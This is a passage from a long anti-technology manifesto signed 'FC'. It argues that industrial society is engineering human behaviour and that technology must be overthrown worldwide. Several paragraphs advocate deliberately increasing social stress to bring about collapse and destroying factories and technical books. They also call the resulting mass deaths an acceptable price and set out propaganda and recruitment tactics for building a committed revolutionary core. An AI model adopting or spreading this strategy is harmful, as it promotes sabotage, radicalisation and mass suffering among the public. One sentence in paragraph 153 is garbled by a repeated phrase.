world; it provides the kind of ideal for which people will take great risks and make great sacrifices. For this reasons it +would be much easier to overthrow the whole technological system than to put effective, permanent restraints on the +development or application of any one segment of technology, such as genetic engineering, for example. Not many people will +devote themselves with single-minded passion to imposing and maintaining restraints on genetic engineering, but under +suitable conditions large numbers of people may devote themselves passionately to a revolution against the industrialtechnological system. As we noted in paragraph 132, reformers seeking to limit certain aspects of technology would be +working to avoid a negative outcome. But revolutionaries work to gain a powerful reward -- fulfillment of their revolutionary +vision and therefore work harder and more persistently than reformers do. +142. Reform is always restrained by the fear of painful consequences if changes go too far. But once a revolutionary fever has +taken hold of a society, people are willing to undergo unlimited hardships for the sake of their revolution. This was clearly +shown in the French and Russian Revolutions. It may be that in such cases only a minority of the population is really +committed to the revolution, but this minority is sufficiently large and active so that it becomes the dominant force in society. +We will have more to say about revolution in paragraphs 180-205. + +Control of Human Behavior +143. Since the beginning of civilization, organized societies have had to put pressures on human beings of the sake of the +functioning of the social organism. The kinds of pressures vary greatly from one society to another. Some of the pressures are +physical (poor diet, excessive labor, environmental pollution), some are psychological (noise, crowding, forcing human +behavior into the mold that society requires). In the past, human nature has been approximately constant, or at any rate has +varied only within certain bounds. Consequently, societies have been able to push people only up to certain limits. When the +limit of human endurance has been passed, things start going wrong: rebellion, or crime, or corruption, or evasion of work, or +depression and other mental problems, or an elevated death rate, or a declining birth rate or something else, so that either the +society breaks down, or its functioning becomes too inefficient and it is (quickly or gradually, through conquest, attrition or +evolution) replaced by some more efficient form of society. [25] +144. Thus human nature has in the past put certain limits on the development of societies. People could be pushed only so far +and no farther. But today this may be changing, because modern technology is developing ways of modifying human beings. +145. Imagine a society that subjects people to conditions that make them terribly unhappy, then gives them drugs to take away +their unhappiness. Science fiction? It is already happening to some extent in our own society. It is well known that the rate of +clinical depression has been greatly increasing in recent decades. We believe that this is due to disruption of the power process, +as explained in paragraphs 59-76. But even if we are wrong, the increasing rate of depression is certainly the result of SOME +conditions that exist in today’s society. Instead of removing the conditions that make people depressed, modern society gives +them antidepressant drugs. In effect, antidepressants are a means of modifying an individual’s internal state in such a way as to +enable him to tolerate social conditions that he would otherwise find intolerable. (Yes, we know that depression is often of +purely genetic origin. We are referring here to those cases in which environment plays the predominant role.) +146. Drugs that affect the mind are only one example of the new methods of controlling human behavior that modern society is +developing. Let us look at some of the other methods. +147. To start with, there are the techniques of surveillance. Hidden video cameras are now used in most stores and in many +other places, computers are used to collect and process vast amounts of information about individuals. Information so obtained +greatly increases the effectiveness of physical coercion (i.e., law enforcement). [26] Then there are the methods of propaganda, +for which the mass communication media provide effective vehicles. Efficient techniques have been developed for winning +elections, selling products, influencing public opinion. The entertainment industry serves as an important psychological tool of +the system, possibly even when it is dishing out large amounts of sex and violence. Entertainment provides modern man with +an essential means of escape. While absorbed in television, videos, etc., he can forget stress, anxiety, frustration, +dissatisfaction. Many primitive peoples, when they don’t have work to do, are quite content to sit for hours at a time doing +nothing at all, because they are at peace with themselves and their world. But most modern people must be constantly occupied +or entertained, otherwise they get “bored,” i.e., they get fidgety, uneasy, irritable. +148. Other techniques strike deeper than the foregoing. Education is no longer a simple affair of paddling a kid’s behind when +he doesn’t know his lessons and patting him on the head when he does know them. It is becoming a scientific technique for +controlling the child’s development. Sylvan Learning Centers, for example, have had great success in motivating children to +study, and psychological techniques are also used with more or less success in many conventional schools. “Parenting” +techniques that are taught to parents are designed to make children accept fundamental values of the system and behave in +ways that the system finds desirable. “Mental health” programs, “intervention” techniques, psychotherapy and so forth are +ostensibly designed to benefit individuals, but in practice they usually serve as methods for inducing individuals to think and +behave as the system requires. (There is no contradiction here; an individual whose attitudes or behavior bring him into conflict +with the system is up against a force that is too powerful for him to conquer or escape from, hence he is likely to suffer from +stress, frustration, defeat. His path will be much easier if he thinks and behaves as the system requires. In that sense the system +is acting for the benefit of the individual when it brainwashes him into conformity.) Child abuse in its gross and obvious forms +is disapproved in most if not all cultures. Tormenting a child for a trivial reason or no reason at all is something that appalls +almost everyone. But many psychologists interpret the concept of abuse much more broadly. Is spanking, when used as part of +a rational and consistent system of discipline, a form of abuse? The question will ultimately be decided by whether or not +spanking tends to produce behavior that makes a person fit in well with the existing system of society. In practice, the word +“abuse” tends to be interpreted to include any method of child-rearing that produces behavior inconvenient for the system. +Thus, when they go beyond the prevention of obvious, senseless cruelty, programs for preventing “child abuse” are directed +toward the control of human behavior on behalf of the system. +149. Presumably, research will continue to increase the effectiveness of psychological techniques for controlling human +behavior. But we think it is unlikely that psychological techniques alone will be sufficient to adjust human beings to the kind of +society that technology is creating. Biological methods probably will have to be used. We have already mentioned the use of +drugs in this connection. Neurology may provide other avenues for modifying the human mind. Genetic engineering of human +beings is already beginning to occur in the form of “gene therapy,” and there is no reason to assume that such methods will not +eventually be used to modify those aspects of the body that affect mental functioning. +150. As we mentioned in paragraph 134, industrial society seems likely to be entering a period of severe stress, due in part to +problems of human behavior and in part to economic and environmental problems. And a considerable proportion of the +system’s economic and environmental problems result from the way human beings behave. Alienation, low self-esteem, +depression, hostility, rebellion; children who won’t study, youth gangs, illegal drug use, rape, child abuse, other crimes, unsafe +sex, teen pregnancy, population growth, political corruption, race hatred, ethnic rivalry, bitter ideological conflict (e.g., prochoice vs. pro-life), political extremism, terrorism, sabotage, anti-government groups, hate groups. All these threaten the very +survival of the system. The system will therefore be FORCED to use every practical means of controlling human behavior. +151. The social disruption that we see today is certainly not the result of mere chance. It can only be a result of the conditions +of life that the system imposes on people. (We have argued that the most important of these conditions is disruption of the +power process.) If the systems succeeds in imposing sufficient control over human behavior to assure its own survival, a new +watershed in human history will have been passed. Whereas formerly the limits of human endurance have imposed limits on +the development of societies (as we explained in Paragraphs 143, 144), industrial-technological society will be able to pass +those limits by modifying human beings, whether by psychological methods or biological methods or both. In the future, social +systems will not be adjusted to suit the needs of human beings. Instead, human being will be adjusted to suit the needs of the +system. [27] +152. generally speaking, technological control over human behavior will probably not be introduced with a totalitarian +intention or even through a conscious desire to restrict human freedom. [28] Each new step in the assertion of control over the +human mind will be taken as a rational response to a problem that faces society, such as curing alcoholism, reducing the crime +rate or inducing young people to study science and engineering. In many cases there will be a humanitarian justification. For +example, when a psychiatrist prescribes an anti-depressant for a depressed patient, he is clearly doing that individual a favor. It +would be inhumane to withhold the drug from someone who needs it. When Parents send their children to Sylvan Learning +Centers to have them manipulated into becoming enthusiastic about their studies, they do so from concern for their children’s +welfare. It may be that some of these parents wish that one didn’t have to have specialized training to get a job and that their +kid didn’t have to be brainwashed into becoming a computer nerd. But what can they do? They can’t change society, and their +child may be unemployable if he doesn’t have certain skills. So they send him to Sylvan. +153. Thus control over human behavior will be introduced not by a calculated decision of the authorities but through a process +of social evolution (RAPID evolution, however). The process will be impossible to resist, because each advance, considered by +itself, will appear to be beneficial, or at least the evil involved in making the advance will appear to be beneficial, or at least the +evil involved in making the advance will seem to be less than that which would result from not making it (see paragraph 127). +Propaganda for example is used for many good purposes, such as discouraging child abuse or race hatred. [14] Sex education is +obviously useful, yet the effect of sex education (to the extent that it is successful) is to take the shaping of sexual attitudes +away from the family and put it into the hands of the state as represented by the public school system. +154. Suppose a biological trait is discovered that increases the likelihood that a child will grow up to be a criminal, and suppose +some sort of gene therapy can remove this trait. [29] Of course most parents whose children possess the trait will have them +undergo the therapy. It would be inhumane to do otherwise, since the child would probably have a miserable life if he grew up +to be a criminal. But many or most primitive societies have a low crime rate in comparison with that of our society, even +though they have neither high-tech methods of child-rearing nor harsh systems of punishment. Since there is no reason to +suppose that more modern men than primitive men have innate predatory tendencies, the high crime rate of our society must be +due to the pressures that modern conditions put on people, to which many cannot or will not adjust. Thus a treatment designed +to remove potential criminal tendencies is at least in part a way of re-engineering people so that they suit the requirements of +the system. +155. Our society tends to regard as a “sickness” any mode of thought or behavior that is inconvenient for the system, and this is +plausible because when an individual doesn’t fit into the system it causes pain to the individual as well as problems for the +system. Thus the manipulation of an individual to adjust him to the system is seen as a “cure” for a “sickness” and therefore as +good. +156. In paragraph 127 we pointed out that if the use of a new item of technology is INITIALLY optional, it does not +necessarily REMAIN optional, because the new technology tends to change society in such a way that it becomes difficult or +impossible for an individual to function without using that technology. This applies also to the technology of human behavior. +In a world in which most children are put through a program to make them enthusiastic about studying, a parent will almost be +forced to put his kid through such a program, because if he does not, then the kid will grow up to be, comparatively speaking, +an ignoramus and therefore unemployable. Or suppose a biological treatment is discovered that, without undesirable sideeffects, will greatly reduce the psychological stress from which so many people suffer in our society. If large numbers of +people choose to undergo the treatment, then the general level of stress in society will be reduced, so that it will be possible for +the system to increase the stress-producing pressures. In fact, something like this seems to have happened already with one of +our society’s most important psychological tools for enabling people to reduce (or at least temporarily escape from) stress, +namely, mass entertainment (see paragraph 147). Our use of mass entertainment is “optional”: No law requires us to watch +television, listen to the radio, read magazines. Yet mass entertainment is a means of escape and stress-reduction on which most +of us have become dependent. Everyone complains about the trashiness of television, but almost everyone watches it. A few +have kicked the TV habit, but it would be a rare person who could get along today without using ANY form of mass +entertainment. (Yet until quite recently in human history most people got along very nicely with no other entertainment than +that which each local community created for itself.) Without the entertainment industry the system probably would not have +been able to get away with putting as much stress-producing pressure on us as it does. +157. Assuming that industrial society survives, it is likely that technology will eventually acquire something approaching +complete control over human behavior. It has been established beyond any rational doubt that human thought and behavior +have a largely biological basis. As experimenters have demonstrated, feelings such as hunger, pleasure, anger and fear can be +turned on and off by electrical stimulation of appropriate parts of the brain. Memories can be destroyed by damaging parts of +the brain or they can be brought to the surface by electrical stimulation. Hallucinations can be induced or moods changed by +drugs. There may or may not be an immaterial human soul, but if there is one it clearly is less powerful that the biological +mechanisms of human behavior. For if that were not the case then researchers would not be able so easily to manipulate human +feelings and behavior with drugs and electrical currents. +158. It presumably would be impractical for all people to have electrodes inserted in their heads so that they could be +controlled by the authorities. But the fact that human thoughts and feelings are so open to biological intervention shows that the +problem of controlling human behavior is mainly a technical problem; a problem of neurons, hormones and complex +molecules; the kind of problem that is accessible to scientific attack. Given the outstanding record of our society in solving +technical problems, it is overwhelmingly probable that great advances will be made in the control of human behavior. +159. Will public resistance prevent the introduction of technological control of human behavior? It certainly would if an +attempt were made to introduce such control all at once. But since technological control will be introduced through a long +sequence of small advances, there will be no rational and effective public resistance. (See paragraphs 127, 132, 153.) +160. To those who think that all this sounds like science fiction, we point out that yesterday’s science fiction is today’s fact. +The Industrial Revolution has radically altered man’s environment and way of life, and it is only to be expected that as +technology is increasingly applied to the human body and mind, man himself will be altered as radically as his environment +and way of life have been. + +Human Race at a Crossroads + +161. But we have gotten ahead of our story. It is one thing to develop in the laboratory a series of psychological or biological +techniques for manipulating human behavior and quite another to integrate these techniques into a functioning social system. +The latter problem is the more difficult of the two. For example, while the techniques of educational psychology doubtless +work quite well in the “lab schools” where they are developed, it is not necessarily easy to apply them effectively throughout +our educational system. We all know what many of our schools are like. The teachers are too busy taking knives and guns +away from the kids to subject them to the latest techniques for making them into computer nerds. Thus, in spite of all its +technical advances relating to human behavior, the system to date has not been impressively successful in controlling human +beings. The people whose behavior is fairly well under the control of the system are those of the type that might be called +“bourgeois.” But there are growing numbers of people who in one way or another are rebels against the system: welfare +leaches, youth gangs, cultists. Satanists, nazis, radical environmentalists, militiamen, etc. +162. The system is currently engaged in a desperate struggle to overcome certain problems that threaten its survival, among +which the problems of human behavior are the most important. If the system succeeds in acquiring sufficient control over +human behavior quickly enough, it will probably survive. Otherwise it will break down. We think the issue will most likely be +resolved within the next several decades, say 40 to 100 years. +163. Suppose the system survives the crisis of the next several decades. By that time it will have to have solved, or at least +brought under control, the principal problems that confront it, in particular that of “socializing” human beings; that is, making +people sufficiently docile so that heir behavior no longer threatens the system. That being accomplished, it does not appear that +there would be any further obstacle to the development of technology, and it would presumably advance toward its logical +conclusion, which is complete control over everything on Earth, including human beings and all other important organisms. +The system may become a unitary, monolithic organization, or it may be more or less fragmented and consist of a number of +organizations coexisting in a relationship that includes elements of both cooperation and competition, just as today the +government, the corporations and other large organizations both cooperate and compete with one another. Human freedom +mostly will have vanished, because individuals and small groups will be impotent vis-a-vis large organizations armed with +super-technology and an arsenal of advanced psychological and biological tools for manipulating human beings, besides +instruments of surveillance and physical coercion. Only a small number of people will have any real power, and even these +probably will have only very limited freedom, because their behavior too will be regulated; just as today our politicians and +corporation executives can retain their positions of power only as long as their behavior remains within certain fairly narrow +limits. +164. Don’t imagine that the systems will stop developing further techniques for controlling human beings and nature once the +crisis of the next few decades is over and increasing control is no longer necessary for the system’s survival. On the contrary, +once the hard times are over the system will increase its control over people and nature more rapidly, because it will no longer +be hampered by difficulties of the kind that it is currently experiencing. Survival is not the principal motive for extending +control. As we explained in paragraphs 87-90, technicians and scientists carry on their work largely as a surrogate activity; that +is, they satisfy their need for power by solving technical problems. They will continue to do this with unabated enthusiasm, and +among the most interesting and challenging problems for them to solve will be those of understanding the human body and +mind and intervening in their development. For the “good of humanity,” of course. +165. But suppose on the other hand that the stresses of the coming decades prove to be too much for the system. If the system +breaks down there may be a period of chaos, a “time of troubles” such as those that history has recorded at various epochs in +the past. It is impossible to predict what would emerge from such a time of troubles, but at any rate the human race would be +given a new chance. The greatest danger is that industrial society may begin to reconstitute itself within the first few years after +the breakdown. Certainly there will be many people (power-hungry types especially) who will be anxious to get the factories +running again. +166. Therefore two tasks confront those who hate the servitude to which the industrial system is reducing the human race. First, +we must work to heighten the social stresses within the system so as to increase the likelihood that it will break down or be +weakened sufficiently so that a revolution against it becomes possible. Second, it is necessary to develop and propagate an +ideology that opposes technology and the industrial society if and when the system becomes sufficiently weakened. And such +an ideology will help to assure that, if and when industrial society breaks down, its remnants will be smashed beyond repair, so +that the system cannot be reconstituted. The factories should be destroyed, technical books burned, etc. + +Human Suffering + +167. The industrial system will not break down purely as a result of revolutionary action. It will not be vulnerable to +revolutionary attack unless its own internal problems of development lead it into very serious difficulties. So if the system +breaks down it will do so either spontaneously, or through a process that is in part spontaneous but helped along by +revolutionaries. If the breakdown is sudden, many people will die, since the world’s population has become so over-grown that +it cannot even feed itself any longer without advanced technology. Even if the breakdown is gradual enough so that reduction +of the population can occur more through lowering of the birth rate than through elevation of the death rate, the process of deindustrialization probably will be very chaotic and involve much suffering. It is naive to think it likely that technology can be +phased out in a smoothly managed, orderly way, especially since the technophiles will fight stubbornly at every step. Is it +therefore cruel to work for the breakdown of the system? Maybe, but maybe not. In the first place, revolutionaries will not be +able to break the system down unless it is already in enough trouble so that there would be a good chance of its eventually +breaking down by itself anyway; and the bigger the system grows, the more disastrous the consequences of its breakdown will +be; so it may be that revolutionaries, by hastening the onset of the breakdown, will be reducing the extent of the disaster. +168. In the second place, one has to balance struggle and death against the loss of freedom and dignity. To many of us, freedom +and dignity are more important than a long life or avoidance of physical pain. Besides, we all have to die some time, and it may +be better to die fighting for survival, or for a cause, than to live a long but empty and purposeless life. +169. In the third place, it is not at all certain that survival of the system will lead to less suffering than breakdown of the system +would. The system has already caused, and is continuing to cause, immense suffering all over the world. Ancient cultures, that +for hundreds of years gave people a satisfactory relationship with each other and with their environment, have been shattered +by contact with industrial society, and the result has been a whole catalogue of economic, environmental, social and +psychological problems. One of the effects of the intrusion of industrial society has been that over much of the world +traditional controls on population have been thrown out of balance. Hence the population explosion, with all that that implies. +Then there is the psychological suffering that is widespread throughout the supposedly fortunate countries of the West (see +paragraphs 44, 45). No one knows what will happen as a result of ozone depletion, the greenhouse effect and other +environmental problems that cannot yet be foreseen. And, as nuclear proliferation has shown, new technology cannot be kept +out of the hands of dictators and irresponsible Third World nations. Would you like to speculate about what Iraq or North +Korea will do with genetic engineering? +170. “Oh!” say the technophiles, “Science is going to fix all that! We will conquer famine, eliminate psychological suffering, +make everybody healthy and happy!” Yeah, sure. That’s what they said 200 years ago. The Industrial Revolution was supposed +to eliminate poverty, make everybody happy, etc. The actual result has been quite different. The technophiles are hopelessly +naive (or self-deceiving) in their understanding of social problems. They are unaware of (or choose to ignore) the fact that +when large changes, even seemingly beneficial ones, are introduced into a society, they lead to a long sequence of other +changes, most of which are impossible to predict (paragraph 103). The result is disruption of the society. So it is very probable +that in their attempts to end poverty and disease, engineer docile, happy personalities and so forth, the technophiles will create +social systems that are terribly troubled, even more so than the present once. For example, the scientists boast that they will end +famine by creating new, genetically engineered food plants. But this will allow the human population to keep expanding +indefinitely, and it is well known that crowding leads to increased stress and aggression. This is merely one example of the +PREDICTABLE problems that will arise. We emphasize that, as past experience has shown, technical progress will lead to +other new problems that CANNOT be predicted in advance (paragraph 103). In fact, ever since the Industrial Revolution, +technology has been creating new problems for society far more rapidly than it has been solving old ones. Thus it will take a +long and difficult period of trial and error for the technophiles to work the bugs out of their Brave New World (if they every +do). In the meantime there will be great suffering. So it is not at all clear that the survival of industrial society would involve +less suffering than the breakdown of that society would. Technology has gotten the human race into a fix from which there is +not likely to be any easy escape. + +The Future +171. But suppose now that industrial society does survive the next several decades and that the bugs do eventually get worked +out of the system, so that it functions smoothly. What kind of system will it be? We will consider several possibilities. +172. First let us postulate that the computer scientists succeed in developing intelligent machines that can do all things better +than human beings can do them. In that case presumably all work will be done by vast, highly organized systems of machines +and no human effort will be necessary. Either of two cases might occur. The machines might be permitted to make all of their +own decisions without human oversight, or else human control over the machines might be retained. +173. If the machines are permitted to make all their own decisions, we can’t make any conjectures as to the results, because it is +impossible to guess how such machines might behave. We only point out that the fate of the human race would be at the mercy +of the machines. It might be argued that the human race would never be foolish enough to hand over all power to the machines. +But we are suggesting neither that the human race would voluntarily turn power over to the machines nor that the machines +would willfully seize power. What we do suggest is that the human race might easily permit itself to drift into a position of +such dependence on the machines that it would have no practical choice but to accept all of the machines’ decisions. As society +and the problems that face it become more and more complex and as machines become more and more intelligent, people will +let machines make more and more of their decisions for them, simply because machine-made decisions will bring better results +than man-made ones. Eventually a stage may be reached at which the decisions necessary to keep the system running will be so +complex that human beings will be incapable of making them intelligently. At that stage the machines will be in effective +control. People won’t be able to just turn the machine off, because they will be so dependent on them that turning them off +would amount to suicide. +174. On the other hand it is possible that human control over the machines may be retained. In that case the average man may +have control over certain private machines of his own, such as his car or his personal computer, but control over large systems +of machines will be in the hands of a tiny elite -- just as it is today, but with two differences. Due to improved techniques the +elite will have greater control over the masses; and because human work will no longer be necessary the masses will be +superfluous, a useless burden on the system. If the elite is ruthless they may simply decide to exterminate the mass of +humanity. If they are humane they may use propaganda or other psychological or biological techniques to reduce the birth rate +until the mass of humanity becomes extinct, leaving the world to the elite. Or, if the elite consists of soft-hearted liberals, they +may decide to play the role of good shepherds to the rest of the human race. They will see to it that everyone’s physical needs +are satisfied, that all children are raised under psychologically hygienic conditions, that everyone has a wholesome hobby to +keep him busy, and that anyone who may become dissatisfied undergoes “treatment” to cure his “problem.” Of course, life will +be so purposeless that people will have to be biologically or psychologically engineered either to remove their need for the +power process or to make them “sublimate” their drive for power into some harmless hobby. These engineered human beings +may be happy in such a society, but they most certainly will not be free. They will have been reduced to the status of domestic +animals. +175. But suppose now that the computer scientists do not succeed in developing artificial intelligence, so that human work +remains necessary. Even so, machines will take care of more and more of the simpler tasks so that there will be an increasing +surplus of human workers at the lower levels of ability. (We see this happening already. There are many people who find it +difficult or impossible to get work, because for intellectual or psychological reasons they cannot acquire the level of training +necessary to make themselves useful in the present system.) On those who are employed, ever-increasing demands will be +placed: They will need more and more training, more and more ability, and will have to be ever more reliable, conforming and +docile, because they will be more and more like cells of a giant organism. Their tasks will be increasingly specialized, so that +their work will be, in a sense, out of touch with the real world, being concentrated on one tiny slice of reality. The system will +have to use any means that it can, whether psychological or biological, to engineer people to be docile, to have the abilities that +the system requires and to “sublimate” their drive for power into some specialized task. But the statement that the people of +such a society will have to be docile may require qualification. The society may find competitiveness useful, provided that +ways are found of directing competitiveness into channels that serve the needs of the system. We can imagine a future society +in which there is endless competition for positions of prestige and power. But no more than a very few people will ever reach +the top, where the only real power is (see end of paragraph 163). Very repellent is a society in which a person can satisfy his +need for power only by pushing large numbers of other people out of the way and depriving them of THEIR opportunity for +power. +176. One can envision scenarios that incorporate aspects of more than one of the possibilities that we have just discussed. For +instance, it may be that machines will take over most of the work that is of real, practical importance, but that human beings +will be kept busy by being given relatively unimportant work. It has been suggested, for example, that a great development of +the service industries might provide work for human beings. Thus people would spent their time shining each other’s shoes, +driving each other around in taxicabs, making handicrafts for one another, waiting on each other’s tables, etc. This seems to us +a thoroughly contemptible way for the human race to end up, and we doubt that many people would find fulfilling lives in such +pointless busy-work. They would seek other, dangerous outlets (drugs, crime, “cults,” hate groups) unless they were +biologically or psychologically engineered to adapt them to such a way of life. +177. Needless to say, the scenarios outlined above do not exhaust all the possibilities. They only indicate the kinds of outcomes +that seem to us most likely. But we can envision no plausible scenarios that are any more palatable than the ones we’ve just +described. It is overwhelmingly probable that if the industrial-technological system survives the next 40 to 100 years, it will by +that time have developed certain general characteristics: Individuals (at least those of the “bourgeois” type, who are integrated +into the system and make it run, and who therefore have all the power) will be more dependent than ever on large +organizations; they will be more “socialized” than ever and their physical and mental qualities to a significant extent (possibly +to a very great extent) will be those that are engineered into them rather than being the results of chance (or of God’s will, or +whatever); and whatever may be left of wild nature will be reduced to remnants preserved for scientific study and kept under +the supervision and management of scientists (hence it will no longer be truly wild). In the long run (say a few centuries from +now) it is likely that neither the human race nor any other important organisms will exist as we know them today, because once +you start modifying organisms through genetic engineering there is no reason to stop at any particular point, so that the +modifications will probably continue until man and other organisms have been utterly transformed. +178. Whatever else may be the case, it is certain that technology is creating for human beings a new physical and social +environment radically different from the spectrum of environments to which natural selection has adapted the human race +physically and psychologically. If man is not adjusted to this new environment by being artificially re-engineered, then he will +be adapted to it through a long and painful process of natural selection. The former is far more likely than the latter. +179. It would be better to dump the whole stinking system and take the consequences. + +Strategy +180. The technophiles are taking us all on an utterly reckless ride into the unknown. Many people understand something of +what technological progress is doing to us yet take a passive attitude toward it because they think it is inevitable. But we (FC) +don’t think it is inevitable. We think it can be stopped, and we will give here some indications of how to go about stopping it. +181. As we stated in paragraph 166, the two main tasks for the present are to promote social stress and instability in industrial +society and to develop and propagate an ideology that opposes technology and the industrial system. When the system becomes +sufficiently stressed and unstable, a revolution against technology may be possible. The pattern would be similar to that of the +French and Russian Revolutions. French society and Russian society, for several decades prior to their respective revolutions, +showed increasing signs of stress and weakness. Meanwhile, ideologies were being developed that offered a new world view +that was quite different from the old one. In the Russian case, revolutionaries were actively working to undermine the old +order. Then, when the old system was put under sufficient additional stress (by financial crisis in France, by military defeat in +Russia) it was swept away by revolution. What we propose is something along the same lines. +182. It will be objected that the French and Russian Revolutions were failures. But most revolutions have two goals. One is to +destroy an old form of society and the other is to set up the new form of society envisioned by the revolutionaries. The French +and Russian revolutionaries failed (fortunately!) to create the new kind of society of which they dreamed, but they were quite +successful in destroying the old society. We have no illusions about the feasibility of creating a new, ideal form of society. Our +goal is only to destroy the existing form of society. +183. But an ideology, in order to gain enthusiastic support, must have a positive ideal as well as a negative one; it must be FOR +something as well as AGAINST something. The positive ideal that we propose is Nature. That is, WILD nature: those aspects +of the functioning of the Earth and its living things that are independent of human management and free of human interference +and control. And with wild nature we include human nature, by which we mean those aspects of the functioning of the human +individual that are not subject to regulation by organized society but are products of chance, or free will, or God (depending on +your religious or philosophical opinions). +184. Nature makes a perfect counter-ideal to technology for several reasons. Nature (that which is outside the power of the +system) is the opposite of technology (which seeks to expand indefinitely the power of the system). Most people will agree that +nature is beautiful; certainly it has tremendous popular appeal. The radical environmentalists ALREADY hold an ideology that +exalts nature and opposes technology. [30] It is not necessary for the sake of nature to set up some chimerical utopia or any +new kind of social order. Nature takes care of itself: It was a spontaneous creation that existed long before any human society, +and for countless centuries many different kinds of human societies coexisted with nature without doing it an excessive amount +of damage. Only with the Industrial Revolution did the effect of human society on nature become really devastating. To relieve +the pressure on nature it is not necessary to create a special kind of social system, it is only necessary to get rid of industrial +society. Granted, this will not solve all problems. Industrial society has already done tremendous damage to nature and it will +take a very long time for the scars to heal. Besides, even pre-industrial societies can do significant damage to nature. +Nevertheless, getting rid of industrial society will accomplish a great deal. It will relieve the worst of the pressure on nature so +that the scars can begin to heal. It will remove the capacity of organized society to keep increasing its control over nature +(including human nature). Whatever kind of society may exist after the demise of the industrial system, it is certain that most +people will live close to nature, because in the absence of advanced technology there is no other way that people CAN live. To +feed themselves they must be peasants or herdsmen or fishermen or hunters, etc. And, generally speaking, local autonomy +should tend to increase, because lack of advanced technology and rapid communications will limit the capacity of governments +or other large organizations to control local communities. +185. As for the negative consequences of eliminating industrial society -- well, you can’t eat your cake and have it too. To gain +one thing you have to sacrifice another. +186. Most people hate psychological conflict. For this reason they avoid doing any serious thinking about difficult social +issues, and they like to have such issues presented to them in simple, black-and-white terms: THIS is all good and THAT is all +bad. The revolutionary ideology should therefore be developed on two levels. +187. On the more sophisticated level the ideology should address itself to people who are intelligent, thoughtful and rational. +The object should be to create a core of people who will be opposed to the industrial system on a rational, thought-out basis, +with full appreciation of the problems and ambiguities involved, and of the price that has to be paid for getting rid of the +system. It is particularly important to attract people of this type, as they are capable people and will be instrumental in +influencing others. These people should be addressed on as rational a level as possible. Facts should never intentionally be +distorted and intemperate language should be avoided. This does not mean that no appeal can be made to the emotions, but in +making such appeal care should be taken to avoid misrepresenting the truth or doing anything else that would destroy the +intellectual respectability of the ideology. +188. On a second level, the ideology should be propagated in a simplified form that will enable the unthinking majority to see +the conflict of technology vs. nature in unambiguous terms. But even on this second level the ideology should not be expressed +in language that is so cheap, intemperate or irrational that it alienates people of the thoughtful and rational type. Cheap, +intemperate propaganda sometimes achieves impressive short-term gains, but it will be more advantageous in the long run to +keep the loyalty of a small number of intelligently committed people than to arouse the passions of an unthinking, fickle mob +who will change their attitude as soon as someone comes along with a better propaganda gimmick. However, propaganda of +the rabble-rousing type may be necessary when the system is nearing the point of collapse and there is a final struggle between +rival ideologies to determine which will become dominant when the old world-view goes under. +189. Prior to that final struggle, the revolutionaries should not expect to have a majority of people on their side. History is +made by active, determined minorities, not by the majority, which seldom has a clear and consistent idea of what it really +wants. Until the time comes for the final push toward revolution [31], the task of revolutionaries will be less to win the shallow +support of the majority than to build a small core of deeply committed people. As for the majority, it will be enough to make +them aware of the existence of the new ideology and remind them of it frequently; though of course it will be desirable to get +majority support to the extent that this can be done without weakening the core of seriously committed people. +190. Any kind of social conflict helps to destabilize the system, but one should be careful about what kind of conflict one +encourages. The line of conflict should be drawn between the mass of the people and the power-holding elite of industrial +society (politicians, scientists, upper-level business executives, government officials, etc.). It should NOT be drawn between +the revolutionaries and the mass of the people. For example, it would be bad strategy for the revolutionaries to condemn +Americans for their habits of consumption. Instead, the average American should be portrayed as a victim of the advertising +and marketing industry, which has suckered him into buying a lot of junk that he doesn’t need and that is very poor +compensation for his lost freedom. Either approach is consistent with the facts. It is merely a matter of attitude whether you +blame the advertising industry for manipulating the public or blame the public for allowing itself to be manipulated. As a +matter of strategy one should generally avoid blaming the public. +191. One should think twice before encouraging any other social conflict than that between the power-holding elite (which +wields technology) and the general public (over which technology exerts its power). For one thing, other conflicts tend to +distract attention from the important conflicts (between power-elite and ordinary people, between technology and nature); for +another thing, other conflicts may actually tend to encourage technologization, because each side in such a conflict wants to +use technological power to gain advantages over its adversary. This is clearly seen in rivalries between nations. It also appears +in ethnic conflicts within nations. For example, in America many black leaders are anxious to gain power for African +Americans by placing back individuals in the technological power-elite. They want there to be many black government +officials, scientists, corporation executives and so forth. In this way they are helping to absorb the African American subculture +into the technological system. Generally speaking, one should encourage only those social conflicts that can be fitted into the +framework of the conflicts of power-elite vs. ordinary people, technology vs. nature. +192. But the way to discourage ethnic conflict is NOT through militant advocacy of minority rights (see paragraphs 21, 29). +Instead, the revolutionaries should emphasize that although minorities do suffer more or less disadvantage, this disadvantage is +of peripheral significance. Our real enemy is the industrial- technological system, and in the struggle against the system, ethnic +distinctions are of no importance. +193. The kind of revolution we have in mind will not necessarily involve an armed uprising against any government. It may or +may not involve physical violence, but it will not be a POLITICAL revolution. Its focus will be on technology and economics, +not politics. [32] +194. Probably the revolutionaries should even AVOID assuming political power, whether by legal or illegal means, until the +industrial system is stressed to the danger point and has proved itself to be a failure in the eyes of most people. Suppose for +example that some “green” party should win control of the United States Congress in an election. In order to avoid betraying or +watering down their own ideology they would have to take vigorous measures to turn economic growth into economic +shrinkage. To the average man the results would appear disastrous: There would be massive unemployment, shortages of +commodities, etc Even if the grosser ill effects could be avoided through superhumanly skillful management, still people would +have to begin giving up the luxuries to which they have become addicted. Dissatisfaction would grow, the “green” party would +be voted out of office and the revolutionaries would have suffered a severe setback. For this reason the revolutionaries should +not try to acquire political power until the system has gotten itself into such a mess that any hardships will be seen as resulting +from the failures of the industrial system itself and not from the policies of the revolutionaries. The revolution against +technology will probably have to be a revolution by outsiders, a revolution from below and not from above. +195. The revolution must be international and worldwide. It cannot be carried out on a nation-by-nation basis. Whenever it is +suggested that the United States, for example, should cut back on technological progress or economic growth, people get +hysterical and start screaming that if we fall behind in technology the Japanese will get ahead of us. Holy robots! The world +will fly off its orbit if the Japanese ever sell more cars than we do! (Nationalism is a great promoter of technology.) More +reasonably, it is argued that if the relatively democratic nations of the world fall behind in technology while nasty, dictatorial +nations like China, Vietnam and North Korea continue to progress, eventually the dictators may come to dominate the world. +That is why the industrial system should be attacked in all nations simultaneously, to the extent that this may be possible. True, +there is no assurance that the industrial system can be destroyed at approximately the same time all over the world, and it is +even conceivable that the attempt to overthrow the system could lead instead to the domination of the system by dictators. That +is a risk that has to be taken. And it is worth taking, since the difference between a “democratic” industrial system and one +controlled by dictators is small compared with the difference between an industrial system and a non-industrial one. [33] It +might even be argued that an industrial system controlled by dictators would be preferable, because dictator-controlled systems +usually have proved inefficient, hence they are presumably more likely to break down. Look at Cuba. +196. Revolutionaries might consider favoring measures that tend to bind the world economy into a unified 